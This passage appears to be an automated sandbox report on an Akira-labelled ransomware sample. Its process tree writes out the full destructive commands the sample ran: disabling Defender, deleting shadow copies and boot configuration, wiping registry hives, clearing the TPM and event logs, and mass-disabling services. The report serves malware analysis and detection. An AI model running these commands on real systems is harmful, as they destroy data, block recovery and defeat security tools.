Token: SeRemoteShutdownPrivilege	2524	wmic.exe
Token: SeUndockPrivilege	2524	wmic.exe
Token: SeManageVolumePrivilege	2524	wmic.exe
Token: 33	2524	wmic.exe
Token: 34	2524	wmic.exe
Token: 35	2524	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 2412	4764	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	86
PID 2412 wrote to memory of 3012	2412	powershell.exe	88
PID 3012 wrote to memory of 3504	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	90
PID 3012 wrote to memory of 3304	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	92
PID 3012 wrote to memory of 5684	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	94
PID 3012 wrote to memory of 2096	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	96
PID 3012 wrote to memory of 1924	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	98
PID 3012 wrote to memory of 2972	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	101
PID 3012 wrote to memory of 3964	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	103
PID 3012 wrote to memory of 1140	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	105
PID 3012 wrote to memory of 2284	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	107
PID 3012 wrote to memory of 1104	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	109
PID 3012 wrote to memory of 2604	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	111
PID 3012 wrote to memory of 1276	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	113
PID 3012 wrote to memory of 1740	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	115
PID 3012 wrote to memory of 4520	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	117
PID 3012 wrote to memory of 2948	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	119
PID 3012 wrote to memory of 1228	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	121
PID 3012 wrote to memory of 5948	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	123
PID 5948 wrote to memory of 6040	5948	cmd.exe	125
PID 3012 wrote to memory of 4228	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	126
PID 3012 wrote to memory of 1624	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	128
PID 3012 wrote to memory of 760	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	130
PID 3012 wrote to memory of 4572	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	132
PID 3012 wrote to memory of 6008	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	134
PID 3012 wrote to memory of 6024	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	136
PID 3012 wrote to memory of 1384	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	138
PID 3012 wrote to memory of 4552	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	140
PID 3012 wrote to memory of 1608	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	142
PID 3012 wrote to memory of 4620	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	144
PID 3012 wrote to memory of 2132	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	146
PID 3012 wrote to memory of 3872	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	148
PID 3012 wrote to memory of 5472	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	150
PID 3012 wrote to memory of 3956	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	152
PID 3012 wrote to memory of 5456	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	276
PID 3012 wrote to memory of 4436	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	157
PID 3012 wrote to memory of 4428	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	401
PID 3012 wrote to memory of 2520	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	414
PID 3012 wrote to memory of 976	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	288
PID 3012 wrote to memory of 5612	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	165
PID 3012 wrote to memory of 4312	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	537
PID 3012 wrote to memory of 2092	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	296
PID 3012 wrote to memory of 1388	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	170
PID 3012 wrote to memory of 2044	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	171
PID 3012 wrote to memory of 4960	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	300
PID 3012 wrote to memory of 5448	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	321
PID 3012 wrote to memory of 5784	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	179
PID 3012 wrote to memory of 5824	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	440
PID 3012 wrote to memory of 1444	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	554
PID 3012 wrote to memory of 3392	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	684
PID 3012 wrote to memory of 5572	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	183
PID 3012 wrote to memory of 5840	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	676
PID 3012 wrote to memory of 3584	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	559
PID 3012 wrote to memory of 1676	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	317
PID 3012 wrote to memory of 5704	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	701
PID 3012 wrote to memory of 5920	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	197
PID 3012 wrote to memory of 3152	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	723
PID 3012 wrote to memory of 2036	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	199
PID 3012 wrote to memory of 3096	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	200
PID 3012 wrote to memory of 5720	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	592
PID 3012 wrote to memory of 5724	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	586
PID 3012 wrote to memory of 516	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	594
PID 3012 wrote to memory of 644	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	211
PID 3012 wrote to memory of 5516	3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	347

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADcALQAwADkAXwA5ADcANgBiAGUAZQAwAGYAMgBiADgAMAA4ADAANwBlADEANQAxADEAOABhADUANgAyADEAMQA2AGMAZABhADAAXwBhAGsAaQByAGEALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcALQAtAGUAbABlAHYAYQB0AGUAZAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3504
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5684
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:2096
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1924
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2972
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:3964
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:2284
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:1104
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:2604
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:1276
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      PID:1740
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      PID:4520
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      PID:2948
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      PID:1228
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5948
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:6040
  - - C:\Windows\system32\reagentc.exe
      "reagentc" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4228
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1624
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} nx AlwaysOff
      4⤵
      Modifies boot configuration data using bcdedit
      PID:760
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} pae ForceDisable
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4572
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} bootlog Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6008
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} noserialmice Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6024
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safeboot Minimal
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1384
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safebootalternateshell yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4552
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1608
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4620
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {memdiag} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2132
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\SAM /f
      4⤵
      Modifies registry key
      PID:3872
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\Domains /f
      4⤵
      Modifies registry key
      PID:5472
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SYSTEM\CurrentControlSet\Services /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      Modifies registry key
      PID:3956
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:5456
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions /t REG_SZ /d GARBAGE /f
      4⤵
      Modifies registry key
      PID:4436
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:4428
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Indicator Removal: Clear Persistence
      PID:2520
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SECURITY\Policy /f
      4⤵
      Modifies registry key
      PID:976
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\DEFAULT\Software /f
      4⤵
      Modifies registry key
      PID:5612
  - - C:\Windows\system32\fsutil.exe
      "fsutil" dirty set C:
      4⤵
      PID:4312
  - - C:\Windows\system32\tpmtool.exe
      "tpmtool" clear
      4⤵
      PID:2092
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" /namespace:\\root\cimv2\security\microsofttpm path Win32_Tpm call Clear
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1388
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      Launches sc.exe
      PID:2044
  - - C:\Windows\system32\sc.exe
      "sc" query type= service state= all
      4⤵
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:5448
  - - C:\Windows\system32\sc.exe
      "sc" stop AJRouter
      4⤵
      PID:5784
  - - C:\Windows\system32\sc.exe
      "sc" stop ALG
      4⤵
      PID:5824
  - - C:\Windows\system32\sc.exe
      "sc" stop AppIDSvc
      4⤵
      PID:1444
  - - C:\Windows\system32\sc.exe
      "sc" stop Appinfo
      4⤵
      PID:3392
  - - C:\Windows\system32\sc.exe
      "sc" stop AppMgmt
      4⤵
      PID:5572
  - - C:\Windows\system32\sc.exe
      "sc" stop AppReadiness
      4⤵
      PID:5840
  - - C:\Windows\system32\sc.exe
      "sc" stop AppVClient
      4⤵
      PID:3584
  - - C:\Windows\system32\sc.exe
      "sc" stop AppXSvc
      4⤵
      PID:1676
  - - C:\Windows\system32\sc.exe
      "sc" config ALG start= disabled
      4⤵
      PID:5704
  - - C:\Windows\system32\sc.exe
      "sc" config AppVClient start= disabled
      4⤵
      PID:5920
  - - C:\Windows\system32\sc.exe
      "sc" config AJRouter start= disabled
      4⤵
      PID:3152
  - - C:\Windows\system32\sc.exe
      "sc" config AppReadiness start= disabled
      4⤵
      PID:2036
  - - C:\Windows\system32\sc.exe
      "sc" config AppIDSvc start= disabled
      4⤵
      PID:3096
  - - C:\Windows\system32\sc.exe
      "sc" config Appinfo start= disabled
      4⤵
      PID:5720
  - - C:\Windows\system32\sc.exe
      "sc" config AppMgmt start= disabled
      4⤵
      PID:5724
  - - C:\Windows\system32\sc.exe
      "sc" config AppXSvc start= disabled
      4⤵
      PID:516
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:644
  - - C:\Windows\system32\sc.exe
      "sc" stop AssignedAccessManagerSvc
      4⤵
      PID:5516
  - - C:\Windows\system32\sc.exe
      "sc" stop AudioEndpointBuilder
      4⤵
      PID:2416
  - - C:\Windows\system32\sc.exe
      "sc" stop Audiosrv
      4⤵
      PID:776
  - - C:\Windows\system32\sc.exe
      "sc" stop autotimesvc
      4⤵
      PID:5808
  - - C:\Windows\system32\sc.exe
      "sc" stop AxInstSV
      4⤵
      PID:1772
  - - C:\Windows\system32\sc.exe
      "sc" stop BDESVC
      4⤵
      Launches sc.exe
      PID:2948
  - - C:\Windows\system32\sc.exe
      "sc" stop BFE
      4⤵
      Launches sc.exe
      PID:5228
  - - C:\Windows\system32\sc.exe
      "sc" stop BITS
      4⤵
      PID:4400
  - - C:\Windows\system32\sc.exe
      "sc" config AssignedAccessManagerSvc start= disabled
      4⤵
      PID:2488
  - - C:\Windows\system32\sc.exe
      "sc" config AudioEndpointBuilder start= disabled
      4⤵
      PID:5468
  - - C:\Windows\system32\sc.exe
      "sc" config AxInstSV start= disabled
      4⤵
      PID:312
  - - C:\Windows\system32\sc.exe
      "sc" config BDESVC start= disabled
      4⤵
      PID:5752
  - - C:\Windows\system32\sc.exe
      "sc" config autotimesvc start= disabled
      4⤵
      PID:1248
  - - C:\Windows\system32\sc.exe
      "sc" config BFE start= disabled
      4⤵
      PID:5068
  - - C:\Windows\system32\sc.exe
      "sc" config BITS start= disabled
      4⤵
      PID:316
  - - C:\Windows\system32\sc.exe
      "sc" config Audiosrv start= disabled
      4⤵
      PID:116
  - - C:\Windows\system32\sc.exe
      "sc" stop BrokerInfrastructure
      4⤵
      Launches sc.exe
      PID:2188
  - - C:\Windows\system32\sc.exe
      "sc" stop BTAGService
      4⤵
      PID:5696
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2524
  - - C:\Windows\system32\sc.exe
      "sc" stop BthAvctpSvc
      4⤵
      PID:4224
  - - C:\Windows\system32\sc.exe
      "sc" stop bthserv
      4⤵
      PID:3256
  - - C:\Windows\system32\sc.exe
      "sc" stop camsvc
      4⤵
      PID:4552
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPSvc
      4⤵
      PID:456
  - - C:\Windows\system32\sc.exe
      "sc" stop CertPropSvc
      4⤵
      PID:4508
  - - C:\Windows\system32\sc.exe
      "sc" stop ClickToRunSvc
      4⤵
      PID:4928
  - - C:\Windows\system32\sc.exe
      "sc" config BTAGService start= disabled
      4⤵
      PID:1764
  - - C:\Windows\system32\sc.exe
      "sc" config BrokerInfrastructure start= disabled
      4⤵
      PID:4840
  - - C:\Windows\system32\sc.exe
      "sc" config BthAvctpSvc start= disabled
      4⤵
      PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" config bthserv start= disabled
      4⤵
      PID:6028
  - - C:\Windows\system32\sc.exe
      "sc" config camsvc start= disabled
      4⤵
      PID:5624
  - - C:\Windows\system32\sc.exe
      "sc" config CertPropSvc start= disabled
      4⤵
      Launches sc.exe
      PID:372
  - - C:\Windows\system32\sc.exe
      "sc" config CDPSvc start= disabled
      4⤵
      PID:964
  - - C:\Windows\system32\sc.exe
      "sc" config ClickToRunSvc start= disabled
      4⤵
      PID:5456
  - - C:\Windows\system32\sc.exe
      "sc" stop ClipSVC
      4⤵
      PID:4792
  - - C:\Windows\system32\sc.exe
      "sc" stop COMSysApp
      4⤵
      Launches sc.exe
      PID:4412
  - - C:\Windows\system32\sc.exe
      "sc" stop CoreMessagingRegistrar
      4⤵
      PID:2516
  - - C:\Windows\system32\sc.exe
      "sc" stop CryptSvc
      4⤵
      PID:3128
  - - C:\Windows\system32\sc.exe
      "sc" stop CscService
      4⤵
      PID:5040
  - - C:\Windows\system32\sc.exe
      "sc" stop DcomLaunch
      4⤵
      PID:3484
  - - C:\Windows\system32\sc.exe
      "sc" stop defragsvc
      4⤵
      PID:976
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationService
      4⤵
      PID:1724
  - - C:\Windows\system32\sc.exe
      "sc" config ClipSVC start= disabled
      4⤵
      Launches sc.exe
      PID:1744
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2092
  - - C:\Windows\system32\sc.exe
      "sc" config CoreMessagingRegistrar start= disabled
      4⤵
      Launches sc.exe
      PID:2792
  - - C:\Windows\system32\sc.exe
      "sc" config COMSysApp start= disabled
      4⤵
      PID:4612
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" config DcomLaunch start= disabled
      4⤵
      Launches sc.exe
      PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" config CscService start= disabled
      4⤵
      PID:1224
  - - C:\Windows\system32\sc.exe
      "sc" config defragsvc start= disabled
      4⤵
      PID:5772
  - - C:\Windows\system32\sc.exe
      "sc" config CryptSvc start= disabled
      4⤵
      PID:2584
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationService start= disabled
      4⤵
      PID:2368
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceInstall
      4⤵
      PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" stop DevQueryBroker
      4⤵
      PID:5800
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1676
  - - C:\Windows\system32\sc.exe
      "sc" stop Dhcp
      4⤵
      PID:3876
  - - C:\Windows\system32\sc.exe
      "sc" stop diagnosticshub.standardcollector.service
      4⤵
      PID:5776
  - - C:\Windows\system32\sc.exe
      "sc" stop diagsvc
      4⤵
      PID:5448
  - - C:\Windows\system32\sc.exe
      "sc" stop DiagTrack
      4⤵
      PID:5744
  - - C:\Windows\system32\sc.exe
      "sc" stop DialogBlockingService
      4⤵
      PID:3764
  - - C:\Windows\system32\sc.exe
      "sc" stop DispBrokerDesktopSvc
      4⤵
      PID:5104
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceInstall start= disabled
      4⤵
      PID:4632
  - - C:\Windows\system32\sc.exe
      "sc" config Dhcp start= disabled
      4⤵
      PID:2088
  - - C:\Windows\system32\sc.exe
      "sc" config DevQueryBroker start= disabled
      4⤵
      PID:2060
  - - C:\Windows\system32\sc.exe
      "sc" config diagnosticshub.standardcollector.service start= disabled
      4⤵
      PID:1360
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:804
  - - C:\Windows\system32\sc.exe
      "sc" config diagsvc start= disabled
      4⤵
      PID:5652
  - - C:\Windows\system32\sc.exe
      "sc" config DialogBlockingService start= disabled
      4⤵
      PID:2880
  - - C:\Windows\system32\sc.exe
      "sc" config DiagTrack start= disabled
      4⤵
      PID:5356
  - - C:\Windows\system32\sc.exe
      "sc" stop DisplayEnhancementService
      4⤵
      PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop DmEnrollmentSvc
      4⤵
      PID:3608
  - - C:\Windows\system32\sc.exe
      "sc" config DispBrokerDesktopSvc start= disabled
      4⤵
      PID:552
  - - C:\Windows\system32\sc.exe
      "sc" stop dmwappushservice
      4⤵
      PID:744
  - - C:\Windows\system32\sc.exe
      "sc" stop Dnscache
      4⤵
      PID:1488
  - - C:\Windows\system32\sc.exe
      "sc" stop DoSvc
      4⤵
      Launches sc.exe
      PID:3260
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:2468
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:776
  - - C:\Windows\system32\sc.exe
      "sc" stop dot3svc
      4⤵
      PID:4368
  - - C:\Windows\system32\sc.exe
      "sc" stop DPS
      4⤵
      PID:2308
  - - C:\Windows\system32\sc.exe
      "sc" stop DsmSvc
      4⤵
      PID:1004
  - - C:\Windows\system32\sc.exe
      "sc" config DisplayEnhancementService start= disabled
      4⤵
      PID:828
  - - C:\Windows\system32\sc.exe
      "sc" config dmwappushservice start= disabled
      4⤵
      PID:5244
  - - C:\Windows\system32\sc.exe
      "sc" config DmEnrollmentSvc start= disabled
      4⤵
      PID:5584
  - - C:\Windows\system32\sc.exe
      "sc" config Dnscache start= disabled
      4⤵
      PID:216
  - - C:\Windows\system32\sc.exe
      "sc" config DPS start= disabled
      4⤵
      PID:1948
  - - C:\Windows\system32\sc.exe
      "sc" config DoSvc start= disabled
      4⤵
      PID:5900
  - - C:\Windows\system32\sc.exe
      "sc" config dot3svc start= disabled
      4⤵
      PID:5484
  - - C:\Windows\system32\sc.exe
      "sc" config DsmSvc start= disabled
      4⤵
      PID:400
  - - C:\Windows\system32\sc.exe
      "sc" stop DsSvc
      4⤵
      PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" stop DusmSvc
      4⤵
      PID:5160
  - - C:\Windows\system32\sc.exe
      "sc" stop Eaphost
      4⤵
      PID:6092
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdate
      4⤵
      PID:3956
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdatem
      4⤵
      PID:3444
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" computersystem set AutomaticManagedPagefile=False
      4⤵
      PID:2000
  - - C:\Windows\system32\sc.exe
      "sc" stop EFS
      4⤵
      Launches sc.exe
      PID:2132
  - - C:\Windows\system32\sc.exe
      "sc" config DsSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4040
  - - C:\Windows\system32\sc.exe
      "sc" stop embeddedmode
      4⤵
      PID:1764
  - - C:\Windows\system32\sc.exe
      "sc" config DusmSvc start= disabled
      4⤵
      PID:3924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4428
  - - C:\Windows\system32\sc.exe
      "sc" config Eaphost start= disabled
      4⤵
      PID:4536
  - - C:\Windows\system32\sc.exe
      "sc" stop EntAppSvc
      4⤵
      PID:4216
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdate start= disabled
      4⤵
      PID:5692
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdatem start= disabled
      4⤵
      PID:2084
  - - C:\Windows\system32\sc.exe
      "sc" config EFS start= disabled
      4⤵
      PID:4812
  - - C:\Windows\system32\sc.exe
      "sc" stop EventLog
      4⤵
      PID:5264
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2520
  - - C:\Windows\system32\sc.exe
      "sc" config embeddedmode start= disabled
      4⤵
      PID:3900
  - - C:\Windows\system32\sc.exe
      "sc" stop EventSystem
      4⤵
      PID:2600
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4412
  - - C:\Windows\system32\sc.exe
      "sc" stop Fax
      4⤵
      PID:972
  - - C:\Windows\system32\sc.exe
      "sc" config EntAppSvc start= disabled
      4⤵
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" stop fdPHost
      4⤵
      PID:3588
  - - C:\Windows\system32\sc.exe
      "sc" stop FDResPub
      4⤵
      PID:4524
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1724
  - - C:\Windows\system32\sc.exe
      "sc" stop fhsvc
      4⤵
      PID:2204
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache
      4⤵
      PID:5840
  - - C:\Windows\system32\sc.exe
      "sc" config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" config Fax start= disabled
      4⤵
      Launches sc.exe
      PID:5728
  - - C:\Windows\system32\sc.exe
      "sc" config EventSystem start= disabled
      4⤵
      PID:328
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1224
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache3.0.0.0
      4⤵
      PID:2136
  - - C:\Windows\system32\sc.exe
      "sc" config FDResPub start= disabled
      4⤵
      PID:5140
  - - C:\Windows\system32\sc.exe
      "sc" config fdPHost start= disabled
      4⤵
      PID:5824
  - - C:\Windows\system32\sc.exe
      "sc" config fhsvc start= disabled
      4⤵
      PID:3648
